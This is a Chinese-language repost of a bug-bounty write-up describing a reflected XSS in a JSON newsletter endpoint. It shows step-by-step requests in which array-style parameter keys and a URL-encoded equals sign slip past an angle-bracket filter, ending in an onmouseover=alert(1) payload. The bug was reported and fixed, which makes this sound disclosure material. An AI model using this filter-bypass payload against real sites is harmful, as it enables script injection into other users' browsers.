Story of a JSON XSS

Posted 二向箔安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Story of a JSON XSS相关的知识,希望对你有一定的参考价值。

嗨,伙计们,

这篇文章记录了我最近在漏洞悬赏项目中发现的一个问题。刚开始我测试了一遍常见的漏洞,但一无所获。过了一个小时我发现了一个问题:

如下是数据包的请求和响应部分:

request:
process=activate_newsletter&status=0&usid=xxx

response:
{"success":true,"status":"0"}

查看 request 和 response 响应,你会看到 status 参数的值出现在了 response 响应当中。因此,我试着改变 status 参数的值,它也返回到了 response 响应中:

Story of a JSON XSS
request:
process=activate_newsletter&status=test&usid=xxx

response:
{"success":true,"status":"test"}

接下来呢?我们来试试简单的 XSS payload :

Story of a JSON XSS
request:
process=activate_newsletter&status=test<haha>&usid=xxx

response:
{"success":true,"status":"test&lt;haha&ggt;"}

但是尖括号被过滤了,我试了一些编码方式但是也没有绕过。正当我想放弃时,突然想起可以传入数组试试:

Story of a JSON XSS
request:
process=activate_newsletter&status[testarray]=test&usid=xxx

response:
{"success":true,"status":{"testarray":"test"}}

你可以看到我们写在圆括号里面的东西都被输出到了响应里,因为它变成了如下的关联数组:

Status 参数相当于 JSON 对象
<haha> 相当于 JSON 对象的索引
Test 相当于 JSON 对象的值

再用简单的 XSS payload 来测试一下

Story of a JSON XSS
request:
process=activate_newsletter&status[<haha>]=test&usid=xxx

response:
{"success":true,"status":{"<haha>":"test"}}

所以,尖括号是绕过了,那么“=”呢?

Story of a JSON XSS
request:
process=activate_newsletter&status[<haha=>]=test&usid=xxx

response:
{"success":true,"status":null}

因为等号会破坏查询语句,所以我们得到了一个空值 null ,接下来我尝试 URL 编码,这就成功绕过了。

Story of a JSON XSS
request:
process=activate_newsletter&status[<haha%3D>]=test&usid=xxx

response:
{"success":true,"status":{"<haha=>":"test"}}

接下来是最后的 payload :

request:
process=activate_newsletter&status[<haha onmouseover%3Dalert(1)>]=test&usid=xxx

response:
{"success":true,"status":{"<haha onmouseover=alert(1)>":"test"}}

最后需要一个 CSRF 的 POC 来利用它:

但是 userid 参数是很难猜到的,我在其它地方检查了也没发现 userid ,就报告了这个漏洞,他们很快修复了这个漏洞,因为整个网站是采用同样的方法来展示 JSON 数据。最后也得到了丰厚的奖金。;)

感谢阅读。

以上是关于Story of a JSON XSS的主要内容,如果未能解决你的问题,请参考以下文章

The story of one latency spike

XSS攻击

XSS:如何从 C# 中的字符串中删除 JS 片段?

1-3 The Story of Autonomous Vehicles

SpringBoot启动报错“Consider defining a bean of type ‘xxx.mapper.UserMapper‘ in your configuration.“(代码片段

LightOJ 1340 - Story of Tomisu Ghost 阶乘分解素因子